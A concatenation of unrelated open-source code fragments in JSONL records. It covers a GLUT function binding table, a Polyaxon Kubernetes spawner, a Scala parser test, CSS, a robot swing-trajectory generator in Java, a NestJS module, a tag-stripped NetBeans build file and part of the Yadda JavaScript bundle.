stacks);\n\n ({ \"glutSolidTeapot\",\"VR\" }), \n // void glutSolidTeapot(GLdouble size);\n\n ({ \"glutSolidTetrahedron\",\"V\" }), \n // void glutSolidTetrahedron(void);\n\n ({ \"glutSolidTorus\",\"VRRII\" }), \n // void glutSolidTorus(GLdouble innerRadius, GLdouble outerRadius, GLint sides, GLint rings);\n\n ({ \"glutSpaceballButtonFunc\",\"VC(II)\"}), \n // void glutSpaceballButtonFunc(void (GLUTCALLBACK * func)(int button, int state));\n\n ({ \"glutSpaceballMotionFunc\",\"VC(III)\" }), \n // void glutSpaceballMotionFunc(void (GLUTCALLBACK * func)(int x, int y, int z));\n\n ({ \"glutSpaceballRotateFunc\",\"VC(III)\" }), \n // void glutSpaceballRotateFunc(void (GLUTCALLBACK * func)(int x, int y, int z));\n\n ({ \"glutSpecialFunc\",\"VC(III)\" }), \n // void glutSpecialFunc(void (GLUTCALLBACK * func)(int key, int x, int y));\n\n ({ \"glutSpecialUpFunc\",\"VC(III)\" }), \n // void glutSpecialUpFunc(void (GLUTCALLBACK * func)(int key, int x, int y));\n\n ({ \"glutStopVideoResizing\",\"V\" }), \n // void glutStopVideoResizing(void);\n\n ({ \"glutSwapBuffers\",\"V\" }), \n // void glutSwapBuffers(void);\n\n ({ \"glutTabletButtonFunc\",\"VC(IIII)\" }),\n // void glutTabletButtonFunc(void (GLUTCALLBACK * func)(int button, int state, int x, int y));\n\n ({ \"glutTabletMotionFunc\",\"VC(II)\" }), \n // void glutTabletMotionFunc(void (GLUTCALLBACK * func)(int x, int y));\n\n ({ \"glutTimerFunc\",\"VUC(I)I\" }), \n // void glutTimerFunc(unsigned int millis, void (GLUTCALLBACK * func)(int value), int value);\n\n ({ \"glutUseLayer\",\"VE\" }), \n // void glutUseLayer(GLenum layer);\n\n ({ \"glutVideoPan\",\"VIIII\" }), \n // void glutVideoPan(int x, int y, int width, int height);\n\n ({ \"glutVideoResize\",\"VIIII\" }), \n // void glutVideoResize(int x, int y, int width, int height);\n\n ({ \"glutVisibilityFunc\",\"VC(I)\" }), \n // void glutVisibilityFunc(void (GLUTCALLBACK * func)(int state));\n\n ({ \"glutWarpPointer\",\"VII\" }), \n // void glutWarpPointer(int x, int y);\n\n ({ \"glutWindowStatusFunc\",\"VC(I)\" }), \n // void glutWindowStatusFunc(void (GLUTCALLBACK * func)(int state));\n\n ({ \"glutWireCone\",\"VRRII\" }), \n // void glutWireCone(GLdouble base, GLdouble height, GLint slices, GLint stacks);\n\n ({ \"glutWireCube\",\"VR\" }), \n // void glutWireCube(GLdouble size);\n\n ({ \"glutWireDodecahedron\",\"V\" }), \n // void glutWireDodecahedron(void);\n\n ({ \"glutWireIcosahedron\",\"V\" }), \n // void glutWireIcosahedron(void);\n\n ({ \"glutWireOctahedron\",\"V\" }), \n // void glutWireOctahedron(void);\n\n ({ \"glutWireSphere\",\"VRII\" }), \n // void glutWireSphere(GLdouble radius, GLint slices, GLint stacks);\n\n ({ \"glutWireTeapot\",\"VR\" }), \n // void glutWireTeapot(GLdouble size);\n\n ({ \"glutWireTetrahedron\",\"V\" }), \n // void glutWireTetrahedron(void);\n\n ({ \"glutWireTorus\",\"VRRII\" }), \n // void glutWireTorus(GLdouble innerRadius, GLdouble outerRadius, GLint sides, GLint rings);\n});\n\n\n/* Not implemented:\n\nint glutBitmapLength(void *font, const unsigned char *string);\nint glutBitmapWidth(void *font, int character);\nint glutStrokeLength(void *font, const unsigned char *string);\nint glutStrokeWidth(void *font, int character);\nvoid glutBitmapCharacter(void *font, int character);\nvoid glutStrokeCharacter(void *font, int character);\n\n*/\n"} +{"text": "#!/usr/bin/python\n#\n# Copyright 2018-2020 Polyaxon, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typing import Dict\n\nfrom polyaxon.agents.spawners.base import BaseSpawner\nfrom polyaxon.k8s.async_manager import AsyncK8SManager\nfrom polyaxon.k8s.custom_resources.operation import get_resource_name\n\n\nclass AsyncSpawner(BaseSpawner):\n @property\n def k8s_manager(self):\n if not self._k8s_manager:\n self._k8s_manager = AsyncK8SManager(\n namespace=self.namespace, in_cluster=self.in_cluster,\n )\n return self._k8s_manager\n\n async def create(self, run_uuid: str, run_kind: str, resource: Dict):\n mixin = self._get_mixin_for_kind(kind=run_kind)\n resource_name = get_resource_name(run_uuid)\n return await self.k8s_manager.create_custom_object(\n name=resource_name,\n group=mixin.GROUP,\n version=mixin.API_VERSION,\n plural=mixin.PLURAL,\n body=resource,\n )\n\n async def apply(self, run_uuid: str, run_kind: str, resource: Dict):\n mixin = self._get_mixin_for_kind(kind=run_kind)\n resource_name = get_resource_name(run_uuid)\n return await self.k8s_manager.update_custom_object(\n name=resource_name,\n group=mixin.GROUP,\n version=mixin.API_VERSION,\n plural=mixin.PLURAL,\n body=resource,\n )\n\n async def stop(self, run_uuid: str, run_kind: str):\n mixin = self._get_mixin_for_kind(kind=run_kind)\n resource_name = get_resource_name(run_uuid)\n return await self.k8s_manager.delete_custom_object(\n name=resource_name,\n group=mixin.GROUP,\n version=mixin.API_VERSION,\n plural=mixin.PLURAL,\n )\n\n async def get(self, run_uuid: str, run_kind: str):\n mixin = self._get_mixin_for_kind(kind=run_kind)\n resource_name = get_resource_name(run_uuid)\n return await self.k8s_manager.get_custom_object(\n name=resource_name,\n group=mixin.GROUP,\n version=mixin.API_VERSION,\n plural=mixin.PLURAL,\n )\n"} +{"text": "\n\n\n\n\tcom.apple.security.application-groups\n\t\n\t\tgroup.com.example.apple-samplecode.Payments\n\t\n\n\n"} +{"text": "import scala.util.parsing.combinator._\n\nimport scala.util.parsing.combinator.syntactical.StandardTokenParsers\nimport scala.util.parsing.input._\nimport scala.util.parsing.combinator.token._\n\nimport scala.collection.mutable.HashMap\n\nobject Test extends App{\n import grammars2._\n\n val head = phrase(exp)\n\n println(extractResult(head(new lexical.Scanner(\"1\"))))\n println(extractResult(head(new lexical.Scanner(\"1+2\"))))\n println(extractResult(head(new lexical.Scanner(\"9*9\"))))\n println(extractResult(head(new lexical.Scanner(\"4*9+7\"))))\n println(extractResult(head(new lexical.Scanner(\"4*9+7*2+3*3\"))))\n println(extractResult(head(new lexical.Scanner(\"4*9+7*2+3*3+9*5+7*6*2\"))))\n println(extractResult(head(new lexical.Scanner(\"4*(9+7)*(2+3)*3\"))))\n\n}\n\nobject grammars2 extends StandardTokenParsers with PackratParsers{\n \n def extractResult(r : ParseResult[_]) = r match{\n case Success(a,_) => a\n case NoSuccess(a,_) => a\n }\n \n lexical.delimiters ++= List(\"+\",\"-\",\"*\",\"/\",\"(\",\")\")\n lexical.reserved ++= List(\"Hello\",\"World\")\n \n /*\n * exp = sum | prod | num\n * sum = exp ~ \"+\" ~ num\n * prod = exp ~ \"*\" ~ num\n */\n\n val exp : PackratParser[Int] = sum | prod | numericLit ^^{_.toInt} | \"(\"~>exp<~\")\"\n val sum : PackratParser[Int] = exp~(\"+\"~>exp) ^^ {case x~y => x+y}\n val prod: PackratParser[Int] = exp~(\"*\"~>(numericLit ^^{_.toInt} | exp)) ^^ {case x~y => x*y}\n \n \n /* lexical.reserved ++= List(\"a\",\"b\", \"c\")\n val a : PackratParser[Any] = numericLit^^{x => primeFactors(x.toInt)}\n val b : PackratParser[Any] = memo(\"b\")\n val c : PackratParser[Any] = memo(\"c\")\n val AnBnCn : PackratParser[Any] = \n parseButDontEat(repMany1(a,b))~not(b)~>rep1(a)~repMany1(b,c)// ^^{case x~y => x:::y}\n //val c : PackratParser[Any] = parseButDontEat(a)~a~a\n //println(c((new PackratReader(new lexical.Scanner(\"45 24\")))))\n val r = new PackratReader(new lexical.Scanner(\"45 b c\"))\n println(AnBnCn(r))\n println(r.getCache.size)\n*/ \n}\n"} +{"text": "Filter 1: ON PK Fc 35 Hz Gain -3.3 dB Q 0.34\nFilter 2: ON PK Fc 142 Hz Gain -3.3 dB Q 1.55\nFilter 3: ON PK Fc 2434 Hz Gain 3.8 dB Q 2.29\nFilter 4: ON PK Fc 9187 Hz Gain 4.0 dB Q 2.38\nFilter 5: ON PK Fc 13686 Hz Gain 2.2 dB Q 0.86\nFilter 6: ON PK Fc 334 Hz Gain 1.9 dB Q 3.04\nFilter 7: ON PK Fc 919 Hz Gain -2.5 dB Q 1.77\nFilter 8: ON PK Fc 3487 Hz Gain 0.5 dB Q 0.32\nFilter 9: ON PK Fc 3674 Hz Gain 1.8 dB Q 3.07\nFilter 10: ON PK Fc 4477 Hz Gain -3.2 dB Q 2.69"} +{"text": ".m-b-25 {\n margin-bottom: 25px;\n}\n.m-t-25 {\n margin-top: 25px;\n}\n\n.center {\n text-align: center;\n}\n\n@media only screen and (min-width: 767px) {\n /*flex display only needed for larger screens*/\n .flex-md {\n display: flex;\n }\n}\n\n.flex-row,\n.flex-col {\n /*used in footer to push social links down*/\n display: flex;\n}\n\n\n\n.contact {\n .fa {\n padding: 0px 4px 4px 0px;\n }\n h5 {\n margin: 0px;\n }\n}\n\n\n.contact-info-panel-body {\n padding: 0px 15px;\n}\n\n.contact-info h4 {\n margin-bottom: 2px;\n}\n\n.contact-info h5 {\n margin: 0;\n font-size: 13px;\n font-weight: 500;\n margin-bottom: 4px;\n}\n\n.contact-info h5 i {\n margin-right: 4px;\n color: #3498db;\n}\n"} +{"text": "package us.ihmc.commonWalkingControlModules.trajectories;\n\nimport java.util.ArrayList;\n\nimport us.ihmc.commons.MathTools;\nimport us.ihmc.commons.PrintTools;\nimport us.ihmc.commons.lists.RecyclingArrayList;\nimport us.ihmc.euclid.referenceFrame.FramePoint3D;\nimport us.ihmc.euclid.referenceFrame.FrameVector3D;\nimport us.ihmc.euclid.referenceFrame.ReferenceFrame;\nimport us.ihmc.euclid.referenceFrame.interfaces.FramePoint3DReadOnly;\nimport us.ihmc.euclid.referenceFrame.interfaces.FrameVector3DReadOnly;\nimport us.ihmc.graphicsDescription.appearance.YoAppearance;\nimport us.ihmc.graphicsDescription.yoGraphics.BagOfBalls;\nimport us.ihmc.graphicsDescription.yoGraphics.YoGraphicsListRegistry;\nimport us.ihmc.robotics.math.trajectories.trajectorypoints.FrameEuclideanTrajectoryPoint;\nimport us.ihmc.robotics.trajectories.TrajectoryType;\nimport us.ihmc.yoVariables.registry.YoRegistry;\nimport us.ihmc.yoVariables.variable.YoBoolean;\nimport us.ihmc.yoVariables.variable.YoDouble;\n\npublic class OneWaypointSwingGenerator implements SwingGenerator\n{\n private static final int maxTimeIterations = -1; // setting this negative activates continuous updating\n private static final int numberWaypoints = 1;\n private static final double defaultWaypointProportion = 0.5;\n\n private static final ReferenceFrame worldFrame = ReferenceFrame.getWorldFrame();\n\n private final YoDouble stepTime;\n private final YoDouble timeIntoStep;\n private final YoBoolean isDone;\n private final YoDouble swingHeight;\n private final YoDouble maxSwingHeight;\n private final YoDouble minSwingHeight;\n private final YoDouble defaultSwingHeight;\n\n private double waypointProportion;\n\n private TrajectoryType trajectoryType;\n private final PositionOptimizedTrajectoryGenerator trajectory;\n\n private final FramePoint3D initialPosition = new FramePoint3D();\n private final FrameVector3D initialVelocity = new FrameVector3D();\n private final FramePoint3D finalPosition = new FramePoint3D();\n private final FrameVector3D finalVelocity = new FrameVector3D();\n private final ArrayList waypointPositions = new ArrayList<>();\n\n private final FrameVector3D initialVelocityNoTimeDimension = new FrameVector3D();\n private final FrameVector3D finalVelocityNoTimeDimension = new FrameVector3D();\n private final FrameVector3D tempWaypointVelocity = new FrameVector3D();\n\n private final BagOfBalls waypointViz;\n\n public OneWaypointSwingGenerator(String namePrefix, double minSwingHeight, double maxSwingHeight, double defaultSwingHeight,\n YoRegistry parentRegistry, YoGraphicsListRegistry yoGraphicsListRegistry)\n {\n YoRegistry registry = new YoRegistry(namePrefix + getClass().getSimpleName());\n\n stepTime = new YoDouble(namePrefix + \"StepTime\", registry);\n timeIntoStep = new YoDouble(namePrefix + \"TimeIntoStep\", registry);\n isDone = new YoBoolean(namePrefix + \"IsDone\", registry);\n swingHeight = new YoDouble(namePrefix + \"SwingHeight\", registry);\n swingHeight.set(minSwingHeight);\n\n this.maxSwingHeight = new YoDouble(namePrefix + \"MaxSwingHeight\", registry);\n this.maxSwingHeight.set(maxSwingHeight);\n\n this.minSwingHeight = new YoDouble(namePrefix + \"MinSwingHeight\", registry);\n this.minSwingHeight.set(minSwingHeight);\n\n this.defaultSwingHeight = new YoDouble(namePrefix + \"DefaultSwingHeight\", registry);\n this.defaultSwingHeight.set(defaultSwingHeight);\n\n waypointProportion = defaultWaypointProportion;\n\n trajectory = new PositionOptimizedTrajectoryGenerator(namePrefix, registry, yoGraphicsListRegistry, maxTimeIterations, numberWaypoints);\n\n\n for (int i = 0; i < numberWaypoints; i++)\n waypointPositions.add(new FramePoint3D());\n\n if (yoGraphicsListRegistry != null)\n waypointViz = new BagOfBalls(numberWaypoints, 0.02, namePrefix + \"Waypoints\", YoAppearance.White(), registry, yoGraphicsListRegistry);\n else\n waypointViz = null;\n\n hideVisualization();\n\n parentRegistry.addChild(registry);\n }\n\n @Override\n public void setStepTime(double stepTime)\n {\n this.stepTime.set(stepTime);\n }\n\n @Override\n public void setInitialConditions(FramePoint3DReadOnly initialPosition, FrameVector3DReadOnly initialVelocity)\n {\n this.initialPosition.setIncludingFrame(initialPosition);\n this.initialVelocity.setIncludingFrame(initialVelocity);\n }\n\n @Override\n public void setFinalConditions(FramePoint3DReadOnly finalPosition, FrameVector3DReadOnly finalVelocity)\n {\n this.finalPosition.setIncludingFrame(finalPosition);\n this.finalVelocity.setIncludingFrame(finalVelocity);\n }\n\n @Override\n public void setStanceFootPosition(FramePoint3DReadOnly stanceFootPosition)\n {\n }\n\n @Override\n public void setTrajectoryType(TrajectoryType trajectoryType, RecyclingArrayList waypoints)\n {\n if (trajectoryType == TrajectoryType.CUSTOM && waypoints == null)\n {\n PrintTools.warn(\"Received no waypoints but trajectory type is custom. Using default trajectory.\");\n this.trajectoryType = TrajectoryType.DEFAULT;\n }\n else if (trajectoryType == TrajectoryType.CUSTOM && waypoints.size() != numberWaypoints)\n {\n PrintTools.warn(\"Received unexpected amount of waypoints. Using default trajectory.\");\n this.trajectoryType = TrajectoryType.DEFAULT;\n }\n else\n {\n this.trajectoryType = trajectoryType;\n }\n\n if (this.trajectoryType != TrajectoryType.CUSTOM)\n return;\n\n for (int i = 0; i < numberWaypoints; i++)\n {\n waypointPositions.get(i).setIncludingFrame(waypoints.get(i));\n waypointPositions.get(i).changeFrame(worldFrame);\n }\n }\n\n @Override\n public void setSwingHeight(double swingHeight)\n {\n boolean useDefaultSwing = Double.isNaN(swingHeight) || swingHeight <= 0.0;\n\n if(useDefaultSwing)\n this.swingHeight.set(defaultSwingHeight.getDoubleValue());\n else\n this.swingHeight.set(MathTools.clamp(swingHeight, minSwingHeight.getDoubleValue(), maxSwingHeight.getDoubleValue()));\n }\n\n @Override\n public void setWaypointProportions(double[] waypointProportions)\n {\n this.waypointProportion = waypointProportions[0];\n }\n\n public void setWaypointProportion(double waypointProportion)\n {\n this.waypointProportion = waypointProportion;\n }\n\n @Override\n public void initialize()\n {\n timeIntoStep.set(0.0);\n isDone.set(false);\n\n initialPosition.changeFrame(worldFrame);\n finalPosition.changeFrame(worldFrame);\n\n double maxStepZ = Math.max(initialPosition.getZ(), finalPosition.getZ());\n switch (trajectoryType)\n {\n case OBSTACLE_CLEARANCE:\n for (int i = 0; i < numberWaypoints; i++)\n {\n waypointPositions.get(i).interpolate(initialPosition, finalPosition, waypointProportion);\n waypointPositions.get(i).setZ(maxStepZ + swingHeight.getDoubleValue());\n }\n break;\n case DEFAULT:\n for (int i = 0; i < numberWaypoints; i++)\n {\n waypointPositions.get(i).interpolate(initialPosition, finalPosition, waypointProportion);\n waypointPositions.get(i).addZ(swingHeight.getDoubleValue());\n }\n break;\n case CUSTOM:\n break;\n default:\n throw new RuntimeException(\"Trajectory type not implemented\");\n }\n\n double maxWaypointZ = maxStepZ + maxSwingHeight.getDoubleValue();\n\n for (int i = 0; i < numberWaypoints; i++)\n {\n waypointPositions.get(i).setZ(Math.min(waypointPositions.get(i).getZ(), maxWaypointZ));\n }\n\n initialVelocityNoTimeDimension.setIncludingFrame(initialVelocity);\n finalVelocityNoTimeDimension.setIncludingFrame(finalVelocity);\n\n initialVelocityNoTimeDimension.scale(stepTime.getDoubleValue());\n finalVelocityNoTimeDimension.scale(stepTime.getDoubleValue());\n\n trajectory.setEndpointConditions(initialPosition, initialVelocityNoTimeDimension, finalPosition, finalVelocityNoTimeDimension);\n trajectory.setWaypoints(waypointPositions);\n trajectory.initialize();\n\n visualize();\n }\n\n private void visualize()\n {\n if (waypointViz == null)\n return;\n\n for (int i = 0; i < numberWaypoints; i++)\n waypointViz.setBall(waypointPositions.get(i), i);\n }\n\n @Override\n public boolean doOptimizationUpdate()\n {\n return trajectory.doOptimizationUpdate();\n }\n\n @Override\n public void compute(double time)\n {\n double trajectoryTime = stepTime.getDoubleValue();\n isDone.set(time >= trajectoryTime);\n\n time = MathTools.clamp(time, 0.0, trajectoryTime);\n timeIntoStep.set(time);\n\n double percent = time / trajectoryTime;\n trajectory.compute(percent);\n }\n\n @Override\n public boolean isDone()\n {\n return isDone.getBooleanValue();\n }\n\n @Override\n public void getPosition(FramePoint3D positionToPack)\n {\n trajectory.getPosition(positionToPack);\n }\n\n @Override\n public void getVelocity(FrameVector3D velocityToPack)\n {\n trajectory.getVelocity(velocityToPack);\n velocityToPack.scale(1.0 / stepTime.getDoubleValue());\n }\n\n @Override\n public void getAcceleration(FrameVector3D accelerationToPack)\n {\n trajectory.getAcceleration(accelerationToPack);\n accelerationToPack.scale(1.0 / stepTime.getDoubleValue());\n accelerationToPack.scale(1.0 / stepTime.getDoubleValue());\n }\n\n @Override\n public void getLinearData(FramePoint3D positionToPack, FrameVector3D velocityToPack, FrameVector3D accelerationToPack)\n {\n getPosition(positionToPack);\n getVelocity(velocityToPack);\n getAcceleration(accelerationToPack);\n }\n\n @Override\n public void showVisualization()\n {\n trajectory.showVisualization();\n }\n\n private final FramePoint3D tempPoint3D = new FramePoint3D();\n @Override\n public void hideVisualization()\n {\n waypointViz.hideAll();\n tempPoint3D.setToNaN();\n for (int i = 0; i < numberWaypoints; i++)\n waypointViz.setBall(tempPoint3D, i);\n trajectory.hideVisualization();\n }\n\n @Override\n public int getNumberOfWaypoints()\n {\n return numberWaypoints;\n }\n\n @Override\n public void getWaypointData(int waypointIndex, FrameEuclideanTrajectoryPoint waypointDataToPack)\n {\n double waypointTime = stepTime.getDoubleValue() * trajectory.getWaypointTime(waypointIndex);\n trajectory.getWaypointVelocity(waypointIndex, tempWaypointVelocity);\n tempWaypointVelocity.scale(1.0 / stepTime.getDoubleValue());\n\n waypointDataToPack.setToNaN(worldFrame);\n waypointDataToPack.setTime(waypointTime);\n waypointDataToPack.setPosition(waypointPositions.get(waypointIndex));\n waypointDataToPack.setLinearVelocity(tempWaypointVelocity);\n }\n}"} +{"text": "import { Module } from '@nestjs/common';\nimport { TypeOrmModule } from '@nestjs/typeorm';\nimport { AuthModule } from '../auth/auth.module';\nimport { PipelineStage } from './pipeline-stage.entity';\nimport { StageService } from './pipeline-stage.service';\n\n@Module({\n\timports: [TypeOrmModule.forFeature([PipelineStage]), AuthModule],\n\tproviders: [StageService],\n\texports: [StageService]\n})\nexport class StageModule {}\n"} +{"text": "\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must set src.dir\n Must set test.src.dir\n Must set build.dir\n Must set dist.dir\n Must set build.classes.dir\n Must set dist.javadoc.dir\n Must set build.test.classes.dir\n Must set build.test.results.dir\n Must set build.classes.excludes\n Must set dist.jar\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must set javac.includes\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must set JVM to use for profiling in profiler.info.jvm\n Must set profiler agent JVM arguments in profiler.info.jvmargs.agent\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select some files in the IDE or set javac.includes\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n To run this application from the command line without Ant, try:\n \n \n \n \n \n \n java -cp \"${run.classpath.with.dist.jar}\" ${main.class}\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n To run this application from the command line without Ant, try:\n \n java -jar \"${dist.jar.resolved}\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select one file in the IDE or set run.class\n \n \n \n Must select one file in the IDE or set run.class\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select one file in the IDE or set debug.class\n \n \n \n \n Must select one file in the IDE or set debug.class\n \n \n \n \n Must set fix.includes\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select one file in the IDE or set profile.class\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select some files in the IDE or set javac.includes\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Some tests failed; see details above.\n \n \n \n \n \n \n \n \n Must select some files in the IDE or set test.includes\n \n \n \n Some tests failed; see details above.\n \n \n \n \n Must select one file in the IDE or set test.class\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Must select one file in the IDE or set applet.url\n \n \n \n \n \n \n \n \n Must select one file in the IDE or set applet.url\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "\n\n \n jQWidgets Vue Example\n \n \n \n
    \n \n \n"} +{"text": "\n \n \n \n \n \n \n \n \n"} +{"text": "!function(e){\"object\"==typeof exports?module.exports=e():\"function\"==typeof define&&define.amd?define(e):\"undefined\"!=typeof window?window.yaddaumd=e():\"undefined\"!=typeof global?global.yaddaumd=e():\"undefined\"!=typeof self&&(self.yaddaumd=e())}(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error(\"Cannot find module '\"+o+\"'\")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o= items.length) return callback(null, result);\n iterate();\n });\n };\n iterate();\n };\n\n function collect(items, iterator) {\n var results = ensure_array();\n for (var i = 0; i < items.length; i++) {\n results.push(iterator(items[i]));\n }\n return results;\n };\n\n function inject(items, default_value, iterator) {\n var result = default_value;\n for (var i = 0; i < items.length; i++) {\n result = iterator(result, items[i]);\n }\n return result;\n };\n\n function push_all(items, more_items) {\n var more_items = more_items ? [].concat(more_items) : [];\n for (var i = 0; i < more_items.length; i++) {\n items.push(more_items[i]);\n }\n };\n\n function find_all(items, test) {\n var results = ensure_array();\n for (var i = 0; i < items.length; i++) {\n if (test(items[i])) {\n results.push(items[i]);\n }\n };\n return results;\n };\n\n function find(items, test) {\n var result;\n for (var i = 0; i < items.length; i++) {\n if (test(items[i])) {\n result = items[i];\n break;\n }\n };\n return result;\n };\n\n function naked(items) {\n return [].concat(items);\n };\n\n return ensure_array(obj);\n};\n},{\"./fn\":14}],2:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar LevenshteinDistanceScore = require('./LevenshteinDistanceScore');\nvar $ = require('./Array');\n\n// Understands appropriateness of macros in relation to a specific step\nvar Competition = function(step, macros) {\n\n var results = []; \n\n this.validate = function() {\n if (is_undefined()) return { step: step, valid: false, reason: 'Undefined Step' };\n if (is_ambiguous()) return { step: step, valid: false, reason: 'Ambiguous Step (Patterns [' + winning_patterns() + '] are all equally good candidates)' };\n return { step: step, valid: true };\n };\n\n this.clear_winner = function() {\n if (is_undefined()) throw new Error('Undefined Step: [' + step + ']');\n if (is_ambiguous()) throw new Error('Ambiguous Step: [' + step + ']. Patterns [' + winning_patterns() + '] match equally well.');\n return this.winner();\n }; \n\n function is_undefined() {\n return results.length == 0;\n };\n\n function is_ambiguous() {\n return (results.length > 1) && results[0].score.equals(results[1].score); \n };\n\n this.winner = function() {\n return results[0].macro;\n };\n\n function winning_patterns() {\n return results.find_all(by_winning_score).collect(macro_signatures).join(', ');\n };\n\n function rank(step, macros) {\n results = macros.collect(function(macro) {\n return { \n macro: macro, \n score: new LevenshteinDistanceScore(step, macro.levenshtein_signature())\n }\n }).sort( by_ascending_score );\n };\n\n function by_ascending_score(a, b) { \n return b.score.beats(a.score);\n };\n\n function by_winning_score(result) {\n return result.score.equals(results[0].score);\n };\n\n function macro_signatures(result) {\n return result.macro.toString();\n };\n\n rank(step, $(macros));\n};\n\nmodule.exports = Competition;\n},{\"./Array\":1,\"./LevenshteinDistanceScore\":9}],3:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// Constructs an object that macros will be bound to before execution\nvar Context = function(properties) {\n\n this.properties = {};\n\n this.merge = function(other) {\n if (other instanceof Context) return this.merge(other.properties);\n return new Context(this.properties)._merge(other);\n };\n\n this._merge = function(other) {\n for (var key in other) { this.properties[key] = other[key] }; \n return this;\n };\n\n this._merge(properties);\n};\n\nmodule.exports = Context;\n},{}],4:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar $ = require('./Array');\nvar RegularExpression = require('./RegularExpression');\n\n// Understands term definitions\nvar Dictionary = function(prefix) {\n\n var prefix = prefix || '$';\n var terms = {};\n var 